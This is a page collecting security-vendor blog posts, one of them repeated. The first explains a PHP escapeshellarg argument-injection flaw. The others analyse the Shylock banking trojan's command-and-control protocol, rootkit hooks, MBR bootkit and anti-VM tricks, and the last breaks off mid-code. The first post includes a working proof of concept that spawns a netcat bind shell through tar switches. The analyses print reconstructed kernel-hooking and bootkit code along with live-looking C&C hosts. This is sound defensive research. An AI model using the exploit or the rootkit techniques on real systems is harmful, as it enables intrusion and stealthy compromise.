Top IT Security Bloggers

Bae Systems Detica
  • Security issues with using PHP's escapeshellarg

    Bae Systems Detica
    Using user supplied data on the command line is traditionally a security disaster waiting to happen. In an infinite universe there are however times when you might need to do just that. You will be glad to know that PHP provides two functions to aid you with security in those situations: escapeshellcmd and escapeshellarg.The PHP documentation defines these functions as: escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.There are some caveats around the use of these functions which the documentation doesn't cover, command line switches inside single quotes are still treated as command line switches. For example: ls '--help' will print the help text for the ls command. Thus it may be possible to inject data to alter the intended execution, typically referred to as command injection. In order to illustrate this bug I have created a simple proof of concept script which will spawn a bind shell on port 4444 by diverting the execution of tar with command line switches:<?php# PoC exploit of php not escaping dash characters in escapeshellarg/cmd# Reference: http://php.net/manual/en/function.escapeshellarg.php# Written by Eldar "Wireghoul" Marcussen# Create a malicious file:$fh = fopen('myfile.png', 'w');fwrite($fh, "<?php system('nc -lvp 4444 -e /bin/bash'); echo 'WINRAR!'; ?>");fclose($fh);# I choose to use php here, you could use whatever binary you like$safe_opts = escapeshellarg('--use-compress-program=php');$safe_file = escapeshellarg('myfile.png'); # Really a php script with a .png extensionsystem("tar $safe_opts -cf export.tar $safe_file");?> The response from the PHP security team is that this is expected behavior, and that it is not possible to protect programs that use parameters in unsafe ways. While I understand their point of view, I still feel that the documentation does not clearly highlight the potential risk around using escapeshellarg. And if you are doing source code reviews I would take a closer look at any operation which relies on escapeshellarg to sanitise user supplied input.
  • The Merchant of Venice Marches on Italy

    Bae Systems Detica
    As if to prove its name, the latest variant of Shylock has now extended its geography to cover Italian banks. Quite an ironic twist, isn't it?Armed with an improved protection layer, it is now harder to detect too, fetching only 2 detections out of 45.The anti-VM tricks employed by Shylock can fortunately be defeated by StrongOD, a handy plugin for OllyDbg. So let's roll up our sleeves and give it a closer look.The previous post on Shylock has provided on overview of its operation and its encryption schemes. What we aim this time is to actually try to reconstruct the entire encryption/decryption algorithm in a stand-alone tool, a tool that will allow us to fetch and then decrypt Shylock configuration files along with the so called 'Inject Packs'.Shylock configuration files normally enlist current command-and-control (C&C) servers along with the location of the 'Inject Packs' - larger configurations that define browser injection logic, that is, what banks to target and how. By downloading and decrypting configuration files from the known live C&C servers, we'll be able to find out what the newly registered C&C are. By fetching 'Inject Packs' from these servers, we'll know what new tricks are implanted there and what new regions are being targeted.The C&C domains that we thus detect will be handy in monitoring the traffic. Since all communications are SSL, they can't be sniffed, but the presence of the Shylock domains in the traffic is a sure sign of 'Houston, we have a problem'.The sample we've analysed contains a built-in configuration stub that enlists 3 hard-coded C&C servers followed by 2 backup C&C servers:uphebuch.suoonucoog.ccahthuvuz.ccwsysinfonet.sustatinfo.ccThe first 3 C&C servers are now down but the back-up ones point to the same IP (217.172.170.220) in Germany.Sending it a packet encrypted the same way as we did last time no longer works - the server returns us a string which is our IP address. So clearly something has changed. To find out what was changed, we'll need to reconstruct the entire communication logic of Shylock step-by-step, by combining dynamic and static analysis of the sample. For that, we firstly dumped the memory heap pages where the Shylock executable has unpacked itself. Next, we decrypted all the strings in that dump (753 strings), and built a table of all hashes of all APIs from all modules loaded by Shylock (28,500 hashes). After that, we were able to reverse engineer its new logic, and this is what we've found:The Shylock request now needs to be submitted via 'POST'. In addition, the C&C server now requires that the User-Agent header provided be formatted as:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.<NUMBER>)Where <NUMBER> is a 4-digit number composed of the numbers collected from the bot ID string, from left to right.For example, if the bot ID was "6A3B21C...", then the <NUMBER> field in the User-Agent string above should be "6321". If it's not, the server replies with an IP address of the connected client (our own IP), an indication that the server has rejected the connection as unauthorised.Fetching the configuration file from statinfo.cc returns a new list of C&C servers:eevootii.suqueiries.suwahemah.ccThe geography of the destination IP addresses is also wider (US, Netherlands, Ukraine):173.243.118.198198.52.243.229199.188.206.183206.72.192.31213.156.91.11046.182.107.11074.63.229.252The 'Inject Pack' lives at /files/hidden7710777.jpg. This location is different from the one hard-coded within the malware mini-stub: /files/hidden7770777.jpg, so let's fetch both.The downloaded file is an encrypted/compressed binary file that starts from the signature 0x11223344. Following the signature, the next DWORD specifies if the file is encrypted (flag 1), and/or compressed (flag 2). In our case the file is both encrypted and compressed, as the 4-byte field is set to 0x00000003 (1 + 2).A WORD at the file offset 0x0C contains a checksum of the file (we won't replicate the hash calculation logic as we trust the file we download is authentic and not corrupted), and the next DWORD specifies an encryption key that the file is encrypted with.The decryption function can be reconstructed as:unsigned int DecodeBuffer(LPDWORD lpdwKey, int abyBuffer, unsigned int dwSize){ unsigned int i = 0; unsigned int result; if (abyBuffer && dwSize > 0) { do { *(BYTE *)(i + abyBuffer) ^= *(BYTE *)lpdwKey; result = (845 * *(DWORD *)lpdwKey + 577) / 0xFFFFFFFFu; ++i; *(DWORD *)lpdwKey = (845 * *(DWORD *)lpdwKey + 577) % 0xFFFFFFFFu; } while (i < dwSize); } return result;}The actual encrypted bytes start from the file offset 0x1a within the file.After the 'Inject Pack' is decrypted, it is then uncompressed with zlib v1.2.3 algorithm. Shylock used the source code of zlib as we see a 100% match with the zlib open source project. One fast way to uncompress the decrypted file at this point is to save the decrypted buffer as a .gz file, and then uncompress it with the 7-Zip utility.The decompressed 'Inject Pack' has a binary header that specifies other text files underneath, such as az_sooba.txt, az.txt, cc.txt, chat_chagas.txt, chat_phone_replace.txt, chat_sooba.txt, but at this point it is perfectly readable with a text editor.The inclusion of a number of Italian banks in its logic does not look good.Putting it all togetherThe entire encryption/decryption logic of Shylock used during its communication with the command-and-control server was fully reverse-engineered and then closely replicated in a stand-alone tool.We are releasing the tool along with its source code in the hope that it will help researchers to query Shylock's command-and-control servers both for configuration files and for 'Inject Packs', in order to learn what new servers are being added, and what new banks are being targeted. We are hoping that such early discovery will help both security researchers and the banks to be better prepared for the new tricks that must surely be up Shylock's sleeves. Early identification of new C&C domains will also help network administrators to detect Shylock traffic within their networks and act to block access from any infected hosts.
  • The Merchant of Venice Marches on Italy

    Bae Systems Detica
    As if to prove its name, the latest variant of Shylock has now extended its geography to cover Italian banks. Quite an ironic twist, isn't it?Armed with an improved protection layer, it is now harder to detect too, fetching only 2 detections out of 45.The anti-VM tricks employed by Shylock can fortunately be defeated by StrongOD, a handy plugin for OllyDbg. So let's roll up our sleeves and give it a closer look.The previous post on Shylock has provided on overview of its operation and its encryption schemes. What we aim this time is to actually try to reconstruct the entire encryption/decryption algorithm in a stand-alone tool, a tool that will allow us to fetch and then decrypt Shylock configuration files along with the so called 'Inject Packs'.Shylock configuration files normally enlist current command-and-control (C&C) servers along with the location of the 'Inject Packs' - larger configurations that define browser injection logic, that is, what banks to target and how. By downloading and decrypting configuration files from the known live C&C servers, we'll be able to find out what the newly registered C&C are. By fetching 'Inject Packs' from these servers, we'll know what new tricks are implanted there and what new regions are being targeted.The C&C domains that we thus detect will be handy in monitoring the traffic. Since all communications are SSL, they can't be sniffed, but the presence of the Shylock domains in the traffic is a sure sign of 'Houston, we have a problem'.The sample we've analysed contains a built-in configuration stub that enlists 3 hard-coded C&C servers followed by 2 backup C&C servers:uphebuch.suoonucoog.ccahthuvuz.ccwsysinfonet.sustatinfo.ccThe first 3 C&C servers are now down but the back-up ones point to the same IP (217.172.170.220) in Germany.Sending it a packet encrypted the same way as we did last time no longer works - the server returns us a string which is our IP address. So clearly something has changed. To find out what was changed, we'll need to reconstruct the entire communication logic of Shylock step-by-step, by combining dynamic and static analysis of the sample. For that, we firstly dumped the memory heap pages where the Shylock executable has unpacked itself. Next, we decrypted all the strings in that dump (753 strings), and built a table of all hashes of all APIs from all modules loaded by Shylock (28,500 hashes). After that, we were able to reverse engineer its new logic, and this is what we've found:The Shylock request now needs to be submitted via 'POST'. In addition, the C&C server now requires that the User-Agent header provided be formatted as:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.<NUMBER>)Where <NUMBER> is a 4-digit number composed of the numbers collected from the bot ID string, from left to right.For example, if the bot ID was "6A3B21C...", then the <NUMBER> field in the User-Agent string above should be "6321". If it's not, the server replies with an IP address of the connected client (our own IP), an indication that the server has rejected the connection as unauthorised.Fetching the configuration file from statinfo.cc returns a new list of C&C servers:eevootii.suqueiries.suwahemah.ccThe geography of the destination IP addresses is also wider (US, Netherlands, Ukraine):173.243.118.198198.52.243.229199.188.206.183206.72.192.31213.156.91.11046.182.107.11074.63.229.252The 'Inject Pack' lives at /files/hidden7710777.jpg. This location is different from the one hard-coded within the malware mini-stub: /files/hidden7770777.jpg, so let's fetch both.The downloaded file is an encrypted/compressed binary file that starts from the signature 0x11223344. Following the signature, the next DWORD specifies if the file is encrypted (flag 1), and/or compressed (flag 2). In our case the file is both encrypted and compressed, as the 4-byte field is set to 0x00000003 (1 + 2).A WORD at the file offset 0x0C contains a checksum of the file (we won't replicate the hash calculation logic as we trust the file we download is authentic and not corrupted), and the next DWORD specifies an encryption key that the file is encrypted with.The decryption function can be reconstructed as:unsigned int DecodeBuffer(LPDWORD lpdwKey, int abyBuffer, unsigned int dwSize){ unsigned int i = 0; unsigned int result; if (abyBuffer && dwSize > 0) { do { *(BYTE *)(i + abyBuffer) ^= *(BYTE *)lpdwKey; result = (845 * *(DWORD *)lpdwKey + 577) / 0xFFFFFFFFu; ++i; *(DWORD *)lpdwKey = (845 * *(DWORD *)lpdwKey + 577) % 0xFFFFFFFFu; } while (i < dwSize); } return result;}The actual encrypted bytes start from the file offset 0x1a within the file.After the 'Inject Pack' is decrypted, it is then uncompressed with zlib v1.2.3 algorithm. Shylock used the source code of zlib as we see a 100% match with the zlib open source project. One fast way to uncompress the decrypted file at this point is to save the decrypted buffer as a .gz file, and then uncompress it with the 7-Zip utility.The decompressed 'Inject Pack' has a binary header that specifies other text files underneath, such as az_sooba.txt, az.txt, cc.txt, chat_chagas.txt, chat_phone_replace.txt, chat_sooba.txt, but at this point it is perfectly readable with a text editor.The inclusion of a number of Italian banks in its logic does not look good.Putting it all togetherThe entire encryption/decryption logic of Shylock used during its communication with the command-and-control server was fully reverse-engineered and then closely replicated in a stand-alone tool.We are releasing the tool along with its source code in the hope that it will help researchers to query Shylock's command-and-control servers both for configuration files and for 'Inject Packs', in order to learn what new servers are being added, and what new banks are being targeted. We are hoping that such early discovery will help both security researchers and the banks to be better prepared for the new tricks that must surely be up Shylock's sleeves. Early identification of new C&C domains will also help network administrators to detect Shylock traffic within their networks and act to block access from any infected hosts.
  • Pray Before You Buy With Shylock

    Bae Systems Detica

    "I will buy with you, sell with you, talk with you, walk with you, and so following;    
    but I will not eat with you, drink with you, nor pray with you"    


    Shylock, 1.3.37    
    The Merchant of Venice, Shakespeare, 1564    


    Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

    Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
    • Destroy()

    • Init()

    • Start()

    This description enlists main Shylock's components, one-by-one.

    Driver

    Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

    EnableLUA = 0x00000000
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System


    With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

    If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

    The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

    Whenever netstat is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

    Here is the reconstructed logic of the hooker:

    if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
    {
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice,
    1u,
    &FileObject,
    &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
    {
    driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
    IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
    fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
    if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;

    replace_original_IRP: // swap original pointer with the hook

    _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
    hook_IRP_MJ_DEVICE_CONTROL);
    return 0;
    }
    return 0;
    }
    exit:
    ms_exc.disabled = -1;
    return status;
    }

    RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
    status = ObReferenceObjectByName(&uniNsiDrvName,
    64,
    0,
    0,
    IoDriverObjectType,
    0,
    0,
    &pNsiDrvObj); // get driver object
    status2 = status;
    if (status < 0)
    {
    goto exit;
    }

    IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
    // MajorFunction[IRP_MJ_DEVICE_CONTROL]

    fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);

    if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
    goto replace_original_IRP; // get the hooked DeviceIoControl,
    // and swap it with the original one
    }

    The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

    Here is why:
    the driver object structure is declared as:

    #define IRP_MJ_MAXIMUM_FUNCTION         0x1b
    ..
    typedef struct _DRIVER_OBJECT {
    /* 2 */ CSHORT Type; // offset = 0x00
    /* 2 */ CSHORT Size; // offset = 0x02
    /* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
    /* 4 */ ULONG Flags; // offset = 0x08
    /* 4 */ PVOID DriverStart; // offset = 0x0c
    /* 4 */ ULONG DriverSize; // offset = 0x10
    /* 4 */ PVOID DriverSection; // offset = 0x14
    /* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
    /* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
    /* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
    /* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
    /* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
    /* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
    /* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
    /* 4 */ PDRIVER_DISPATCH
    MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
    } DRIVER_OBJECT;

    Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

    (0x70 - 0x38) / 4 = 0x0e

    The 15th (0x0e) element of the dispatch routines is declared as:

    #define IRP_MJ_DEVICE_CONTROL 0x0e

    Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

    Shylock driver is not different - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

    Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):



    The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:



    Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
    • ZwEnumerateKey

    • ZwEnumerateValueKey

    • ZwQuerySystemInformation

    • ZwQueryDirectoryFile

    • ZwAllocateVirtualMemory

    The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

    .text:000130AC   cli                     ; disable interrupts
    .text:000130AD mov eax, cr0 ; get CR0
    .text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
    ; allows supervisor-level procedures
    ; to write into read-only pages
    .text:000130B5 mov cr0, eax ; save it back into CR0

    .text:000130B8 mov eax, KeServiceDescriptorTable
    .text:000130BD mov eax, [eax]
    .text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
    .text:000130C6 mov eax, KeServiceDescriptorTable
    .text:000130CB mov eax, [eax]
    .text:000130CD mov ecx, [ebp+var_14]
    .text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
    .text:000130D7 mov eax, KeServiceDescriptorTable
    .text:000130DC mov eax, [eax]
    .text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
    .text:000130E5 mov eax, KeServiceDescriptorTable
    .text:000130EA mov eax, [eax]
    .text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile

    .text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
    .text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
    ; writing into read-only pages;
    .text:000130FB mov cr0, eax ; save it back into CR0
    .text:000130FE sti ; allow interrupts

    The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

    Skype Replicator

    The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

    First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

    Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:



    As soon as the click is submitted, the client is accepted, as demonstrated with the debugged code below:



    Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

    Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

    The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.

    BackSocks

    BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

    The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

    By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.



    Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.

    Bootkit

    In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

    When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
    • C:\GRLDR

    • C:\XELDZ

    The bootkit can be started from the following start-up registry entry:

    FlashPlayerUpdate = %PATH_TO_BOOTKIT%
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


    Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:
    \\.\PhysicalDrive0

    For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

    Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

    If the drive is not bootable, it is skipped:

    .text:004024E9   xor     ebx, ebx        ; EBX is 0
    ...
    .text:0040255E push ebx ; dwMoveMethod = 0
    .text:0040255F push ebx ; lpDistanceToMoveHigh = 0
    .text:00402560 push ebx ; lDistanceToMove = 0
    .text:00402561 push edi ; hFile
    .text:00402562 call ds:SetFilePointer ; set pointer at offset 0
    .text:00402568 push ebx ; lpOverlapped
    .text:00402569 lea eax, [ebp+NumberOfBytesRead]
    .text:0040256C push eax ; lpNumberOfBytesRead
    .text:0040256D push 512 ; nNumberOfBytesToRead
    .text:00402572 lea eax, [ebp+Buffer]
    .text:00402578 push eax ; lpBuffer
    .text:00402579 push edi ; hFile
    .text:0040257A call ds:ReadFile ; read 512 bytes
    .text:00402580 call esi ; GetLastError
    .text:00402582 test eax, eax
    .text:00402584 jnz next_drive ; if error, skip it
    .text:0040258A mov eax, 0AA55h ; compare last 2 bytes
    .text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
    .text:00402596 jnz short close_handle_next_drive

    If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

    The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

    Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
    /c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul

    The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

    Master Boot Record (MBR)

    The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

    MBR code performs the following actions:

    First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

    The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
    0x9E00 << 4 + 0 = 0x9E000.

    Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

    Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

    Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

    MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
    MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
    MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
    MEM:9E0FF mov word ptr ds:offset_4e, es
    MEM:9E103 sti
    MEM:9E104 popad
    MEM:9E106 pop ds
    MEM:9E107 pop sp
    MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)

    With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

    The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

    MEM:9E10D Int13Hook proc far
    MEM:9E10D pushf ; handle two types of INT 13 below:
    MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E111 jz short Int13Hook_ReadRequest
    MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
    MEM:9E116 jz short Int13Hook_ReadRequest
    MEM:9E118 popf
    MEM:9E119
    MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
    MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
    MEM:9E11E
    MEM:9E11E Int13Hook_ReadRequest:
    MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
    MEM:9E123 popf
    MEM:9E124 pushf ; push Flags, simulating INT
    MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
    MEM:9E12A jb short Int13Hook_ret ; quit if failed
    MEM:9E12C pushf
    MEM:9E12D cli
    MEM:9E12E push es
    MEM:9E12F pusha
    MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
    MEM:9E131 INT13LASTFUNCTION:
    MEM:9E131 [mov ah, ??] operand, 0 by default
    MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E135 jnz short Int13Hook_notextread
    MEM:9E137 lodsw
    MEM:9E138 lodsw
    MEM:9E139 les bx, [si]
    MEM:9E13B assume es:nothing

    The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

    To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

    MEM:9E149 Int13Hook_scan_loop:
    MEM:9E149 repne scasb
    MEM:9E14B jnz short Int13Hook_scan_done
    MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
    MEM:9E155 jnz short Int13Hook_scan_loop
    MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
    MEM:9E15D jnz short Int13Hook_scan_loop

    These bytes correspond to the following code of the original loader:

    .text:00422A6A E8 C2 12 00 00             call    near ptr unk_47DE1
    .text:00422A6F 8B F0 mov esi, eax
    .text:00422A71 85 F6 test esi, esi
    .text:00422A73 74 21 jz short loc_46B46
    .text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0

    Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:



    The patched loader code may now look like this (compare to the original loader code above):

    .text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
    .text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
    .text:00422A74 FF D0 call eax ; off_9E233
    .text:00422A76 90 nop
    .text:00422A77 90 nop
    .text:00422A78 90 nop
    .text:00422A79 90 nop
    .text:00422A7A 90 nop
    .text:00422A7B 90 nop
    .text:00422A7C 90 nop
    .....

    The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

    Main Shylock Module

    Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

    Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

    For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.



    In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:



    The API hash calculation algorithm is trivial:

    DWORD GetHash(char *szApi)
    {
    DWORD dwHash = 0;
